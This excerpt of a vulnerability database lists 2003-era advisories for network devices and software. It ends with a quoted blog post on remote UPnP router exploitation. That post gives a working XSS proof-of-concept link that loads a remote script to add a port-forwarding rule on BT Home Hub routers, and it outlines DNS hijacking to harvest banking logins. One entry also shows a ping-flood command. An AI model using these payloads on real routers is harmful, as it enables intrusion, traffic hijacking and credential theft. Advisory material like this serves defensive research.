CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The Cisco ONS 15454, ONS 15327, ONS 15454 SDH, and ONS 15600 hardware are managed by TCC+, XTC, TCCi, and TSC control cards, which are typically used in internal customer environments to connect to the external Internet. The telnet service of the Cisco Optical Transport Platform system handles illegal requests incorrectly. A remote attacker can exploit this vulnerability to perform a denial of service attack on the device, which can cause network interruption. By submitting an illegal telnet request, an attacker can cause a TCC+, XTC, TCCi, and TSC control card to be reset. Repeating an illegal request can cause the device to interrupt normal communication and generate a denial of service. This vulnerability was reproduced by the Nessus scanner, CISCO BUG number: CSCdz83519
VAR-200305-0063 | CVE-2003-0190 | OpenSSH of PAM Vulnerability to timing attack in authentication |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
OpenSSH-portable (OpenSSH) 3.6.1p1 and earlier with PAM support enabled immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. Portable Edition OpenSSH If this setting is PAM If enabled in conjunction with an implementation of OpenSSH When authentication fails, the authentication result is determined depending on the existing username and non-existing username. "Permission denied, please try again." There is a vulnerability where there is a difference in the time it takes to return the .It may be possible to guess whether the username exists or not. The portable version of OpenSSH is reported prone to an information-disclosure vulnerability. The portable version is distributed for operating systems other than its native OpenBSD platform.
This issue is related to BID 7467. Reportedly, the previous fix for BID 7467 didn't completely fix the issue. This current issue may involve differing code paths in PAM, resulting in a new vulnerability, but this has not been confirmed.
Exploiting this vulnerability allows remote attackers to test for the presence of valid usernames. Knowledge of usernames may aid them in further attacks
VAR-200305-0035 | CVE-2003-0219 | Kerio Personal Firewall Replay Attack Vulnerability |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Kerio Personal Firewall (KPF) 2.1.4 and earlier allows remote attackers to execute administrator commands by sniffing packets from a valid session and replaying them against the remote administration server
VAR-200305-0036 | CVE-2003-0220 | Kerio Personal Firewall vulnerable to buffer overflow |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Buffer overflow in the administrator authentication process for Kerio Personal Firewall (KPF) 2.1.4 and earlier allows remote attackers to execute arbitrary code via a handshake packet. An exploit for this vulnerability is publicly available. A buffer-overflow vulnerability has been discovered in Kerio Personal Firewall. The problem occurs during the administration authentication process. An attacker could exploit this vulnerability by forging a malicious packet containing an excessive data size. The application then reads this data into a static memory buffer without first performing sufficient bounds checking.
Note that this vulnerability affects Kerio Personal Firewall 2.1.4 and earlier. When the administrator connects to the firewall, a handshake connection will be performed to establish an encrypted session. The fourth packet of the handshake (the first packet is sent by the administrator) contains 4 bytes of data, which has a certain fixed value 0x40 (64) to indicate the follow-up The size of the package containing the admin key. When the firewall side uses recv() to process this data, it does not check the boundary buffer
VAR-200312-0440 | CVE-2003-1491 | Kerio Personal Firewall Firewall Filter Bypass Vulnerability |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Kerio Personal Firewall (KPF) 2.1.4 has a default rule to accept incoming packets from DNS (UDP port 53), which allows remote attackers to bypass the firewall filters via packets with a source port of 53. Reportedly, KPF suffers from a vulnerability whereby the existing firewall filters may be bypassed. This vulnerability exists due to the fact that UDP traffic to and from port 53 is allowed.
Allegedly, an attacker may craft a special packet with a source port of 53 and send this packet to a vulnerable system. KPF will allow this packet to proceed thus bypassing the firewall filters
VAR-200312-0439 | CVE-2003-1490 | SonicWALL Pro HTTP POST Remote denial of service vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
SonicWall Pro running firmware 6.4.0.1 allows remote attackers to cause a denial of service (device reset) via a long HTTP POST to the internal interface, possibly due to a buffer overflow. The firewall device will reset, resulting in a loss of availability while it goes through this cycle. This may be the result of a buffer being overrun, however, this has not been confirmed. SonicWALL PRO is a full-featured Internet security appliance designed specifically for large networks with ever-growing VPN needs
VAR-200304-0180 | No CVE | Cisco Catalyst CatOS Authentication Bypass Vulnerability |
CVSS V2: - CVSS V3: - Severity: - |
A vulnerability has been reported for Cisco Catalyst switches that may result in unauthorized access to the enable level.
The vulnerability exists due to the way the 'enable' mode is accessed through the switch.
An attacker who is able to obtain command line access to a vulnerable switch is able to access 'enable' mode without a password.
VAR-200304-0141 | No CVE | HP JetDirect Printer FTP Service File Print Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The HP JetDirect printer is a printer with integrated network capabilities developed by Hewlett-Packard. The FTP directory in the HP JetDirect printer is writable, and a remote attacker can exploit this vulnerability to perform a denial of service attack on the print service. Since the HP JetDirect printer's directory permissions for its FTP service are not set correctly, any files sent to the Jetdirect FTP service can be printed, and an attacker can send a large number of requests for a denial of service attack. It has been reported that HP JetDirect Printers accept documents from any source without access control limitations. This could lead to a denial of service or abuse of printing services
VAR-200305-0056 | CVE-2003-0210 | Cisco Secure ACS for Windows CSAdmin vulnerable to buffer overflow via login requests |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Buffer overflow in the administration service (CSAdmin) for Cisco Secure ACS before 3.1.2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long user parameter to port 2002. It has been reported that some versions of the Cisco Secure ACS software do not properly handle input supplied during authentication. Because of this, it may be possible for a remote attacker to gain unauthorized access to a host using the vulnerable software. The management service of Cisco Secure ACS listens on TCP port 2002 and provides WEB-based management. When CSAdmin processes the login request, there is a buffer overflow. If an overlong user parameter is sent to the service program, the service can be suspended, and it needs to be restarted to obtain normal service. It may execute arbitrary commands with system privileges. The BUG ID of this vulnerability is: CSCea51366
VAR-200404-0022 | CVE-2003-1033 | SAP database development tool INSTLSERVER INSTROOT environment variable vulnerability |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
The (1) instdbmsrv and (2) instlserver programs in SAP DB Development Tools 7.x trust the user-provided INSTROOT environment variable as a path when assigning setuid permissions to the lserver program, which allows local users to gain root privileges via a modified INSTROOT that points to a malicious dbmsrv or lserver program. SAP is an integrated enterprise resource planning system based on client/server architecture and open systems, including database open tools when installed. The SAP database program instlserver has problems handling environment variables. Local attackers can exploit this vulnerability for privilege escalation attacks and gain root user privileges. The instlserver program uses the user-supplied data and still runs with ROOT privileges when chmod and chown some files. When running the 'DevTool/bin/instlserver' program, according to the environment variable 'INSTROOT', the specified file will be chowned and chmoded. The attacker builds a malicious file and stores it in the location specified by the environment variable, and gets a suid root. Properties of the program, thereby increasing permissions
VAR-200305-0066 | CVE-2003-0171 | Apple MacOS X DirectoryService Privilege Escalation Vulnerability |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
DirectoryServices in MacOS X trusts the PATH environment variable to locate and execute the touch command, which allows local users to execute arbitrary commands by modifying the PATH to point to a directory containing a malicious touch program. Apple MacOS X DirectoryService is prone to an issue which may allow local attackers to gain elevated privileges. This issue is due to usage of libc system() function to execute commands. Attackers may potentially set a PATH environment variable that causes an arbitrary file to be executed with elevated. Exploitation may require the attacker to abuse other known issues (BID 7323) to crash the service. DirectoryServices is the MacOS X information and authentication subsystem, which is started during the startup phase and installed with the default setuid root attribute. To exploit this vulnerability, you must first stop the DirectoryServices service, which can be done by repeatedly connecting to port 625
VAR-200305-0065 | CVE-2003-0198 | Apple MacOS X DropBox Folder Remote Information Disclosure Vulnerability |
CVSS V2: 6.4 CVSS V3: - Severity: MEDIUM |
Mac OS X before 10.2.5 allows guest users to modify the permissions of the DropBox folder and read unauthorized files. A vulnerability has been discovered in Apple MacOS X 10.2.4 and earlier. The problem occurs when various file sharing services are enabled. The issue occurs in the privileges granted to 'guest' users, when accessing shared folders. Due to a design error, it may be possible for an unprivileged user to change the permissions of a write-only directory, effectively revealing its contents.
Information obtained through exploiting this vulnerability could aid an attacker in launching further attacks against a target system. Mac OS X is an operating system used on Mac machines, based on the BSD system. An issue in the way Mac OS X handles file-sharing services could allow remote attackers to gain access to sensitive file information. Using this information can help attackers further attack the system
VAR-200304-0137 | No CVE | Linksys BEFVP41 SNMP Default Community String Information Disclosure Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The Linsys BEFVP41 is a VPN-enabled router. Linsys BEFVP41 has a default community string that can be exploited by remote attackers to obtain a large amount of sensitive information on the target network. The external interface of the Linksys VPN router uses the default globally readable 'public' community string. Using this community string, you can obtain sensitive information such as routers and host hardware addresses in the internal network. This information can be used to further attack the network. Linksys BEFVP4 VPN router has been reported prone to a sensitive information disclosure vulnerability.
It should be noted that this issue has also been reported to affect the Linksys BEFSR81 appliance

CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The Buffalo WBRG54 is a router for wireless broadband. Buffalo WBRG54 has problems handling super-multiple ICMP packets, which can be exploited by remote attackers to perform denial of service attacks on devices. According to the vulnerability finder's test, it uses two broadband routers WBR-g54 (the first one is: g54-01, the second is g54-02), and both connections are peer-to-peer mode connections: [atacker PC ]--[g54-01]-.-.-per-to-pear-.-.-[g54-02]--[victim PC] If you use a lot of ICMP packets (ping -f <victim IP can be used in Linux) >) Submitted to the device, which can cause the connection to be broken. A vulnerability has been reported for the WBRG54 device that may result in a denial of service. The vulnerability occurs when a vulnerable device receives numerous ICMP packets. In some cases, this will result in the device behaving unpredictably and denying service
VAR-200304-0139 | No CVE | Netgear FM114P ProSafe Wireless Router Rules Can Be Vulnerable |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Netgear FM114P ProSafe is a wireless network router. The Netgear FM114P ProSafe wireless network router uses a port blocking rule vulnerability when using the UPnP feature, which can be exploited by remote attackers to bypass restricted access to restricted ports. Netgear FM114P allows blocking of some ports, restricting external users from accessing the internal network or restricting internal users from connecting to the WAN. If remote access and UPnP functions are enabled in the device, remote users can submit UPnP SOAP request connections to bypass rule access restrictions. port,
VAR-200304-0138 | No CVE | Netgear FM114P ProSafe Wireless Router UPnP Information Disclosure Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Netgear FM114P ProSafe is a wireless network router. The Netgear FM114P ProSafe wireless network router has a vulnerability when using the UPnP feature, which can be exploited by remote attackers to obtain WAN interface username and password information. If the remote access and UPnP functions are enabled on the device, the remote user can verify the username and password information for the Netgear FM114P ProSafe connection, which can be obtained by submitting a UPnP soap request to the WAN interface. http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5
It's known that UPnP [1] is inherently insecure for a very simple
reason: administrative tasks can be performed on a Internet Gateway
Device (IGD) without needing to know the admin password whatsoever!
This on its own is quite scary and I personally feel that although
there is some research in the public domain, there is much more
attention that needs to be paid to UPnP.
UPnP allows you to perform administrative functions. Some functions
are very standardized and supported by most devices. Examples include
obtaining network settings, and enabling port forwarding rules. Other
functions are make/model specific. Some very scary functions such as
obtaining administrative username and password pairs have been
reported [2] in the past. As a reminder, this works without submitting
any administrative password whatsoever since UPnP is a
authenticationless protocol. On top of this, most IGDs support UPnP by
default.
After having read several UPnP security research materials I realized
that all the described attacks assume that the attacker (be it human
or malware) comes from inside the network. This post describes how to
exploit IGDs remotely via UPnP even when no services are publicly
available (WAN interface).
** Preauth XSS + SOAP payload = remote UPnP exploitation **
If you sniff yourself while running software that uses UPnP in the
background to help you configure your router, you'll see that UPnP is
nothing more than SOAP. Our AJAX knowledge tells us about a feature
that allows us to craft arbitrary XML requests: the XMLHttpRequest [3]
object. Trouble is, such object can only be used within the context of
the site that the requests are submitted to. So if we host the
malicious scripting code on a third-party site, and a victim user
located in the same LAN as the target IGD visits such page, the
request wouldn't go through due to XMLHttpRequest same-origin policy
restricition. Or put in a different way: you aren't allowed to make
XMLHttpRequests to any server except the server where your web page
came from.
However, if you find a pre-auth XSS vulnerability [4] on the target
device you can bypass such restriction. For instance, many devices
such as the BT Home Hub and Speedtouch routers offer certain pages
before authenticating. Some of these pages are cgi scripts which are
vulnerable to XSS. Although offering certain "useless" functionalities
before logging into the router might not seem like a big deal, it can
actually lead to UPnP being exploited remotely, even if the web admin
console is not visible from the Internet!
The following is a non-malicious proof-of-concept exploit which sets
up a port-forwarding rule from port 1337 on the WAN interface to port
445 on the internal IP address 192.168.1.64. Such IP address is the
first usable IP address reserved for clients connected to Speedtouch
and BT Home Hub routers. The exploit has been tested on BT Home Hub -
Firmware version 6.2.6.B. Just to make things clear, UPnP is enabled
by default on the BT Home Hub, just like most IGDs. If your Internet
gateway is a BT Home Hub, clicking on the following link should add a
new forward rule called EVILFORWARDRULE: ATTACK
<http://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/projects/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b=>
In order to check if the port-forwarding rule was added successfully
you can use UPnP Port Forwarding Utility [5] and simply click on
"Update list now" after the device has been discovered (device name
should show on the top-left corner a few seconds later after launching
the tool). You could of course use the technique and code explained in
this post on any Internet gateway that supports UPnP and is a
vulnerable to a preauth XSS vulnerability. If you manage to
successfully test this attack on the BT Home Hub or any other device
please let us know!
** Zombie routers and the unvalidated NewInternalClient bug **
A bit of more UPnP hacking lead me to realize that the BT Home Hub is
vulnerable to the (in)famous unvalidated NewInternalClient bug. This
bug allows you to choose external IP addresses instead of a LAN IP
addresses as intended when setting up port-forwarding rules via UPnP.
In this case, I reused the previous code and changed the internal IP
address (192.168.1.64) in the NewInternalClient tag with the IP
address of a random Internet web server and the value of the
NewInternalPort tag to 80. This effectively allows an attacker to use
the vulnerable BT Home Hub router as a proxy - aka onion router. In
other words, when probing the router's NATed IP address on port 1337,
the attacker is effectively probing the IP address and port number
specified by the port-forwarding rule - except the routers IP address
would be shown in logs of the target web server, as opposed to the
attacker's real IP address. I thought this is a nice real example of
how a vulnerable router can be used as a zombie by simply having a
user visit a page with malicious scripting (XSS + UPnP SOAP request).
Imagine running your favourite vulnerability scanner against a target
site, while using the victim user's router as a proxy - sweet!
There are other UPnP functionalities besides port forwarding rules
that look potentially interesting from a hacking point of view. For
instance, SetDNSServer [6] allows you to guess what, set the gateway's
DNS server. Imagine someone changing your router's DNS server setting
by simply visiting a webpage. After that you visit
yourfavoritebank.com and guess what, you're actually visiting a
malicious server that is harvesting all your banking login details!
I'll leave the exercise of writing a remote UPnP exploit that changes
the DNS server setting on the BT Home Hub (or any other vulnerable
router) to the reader.
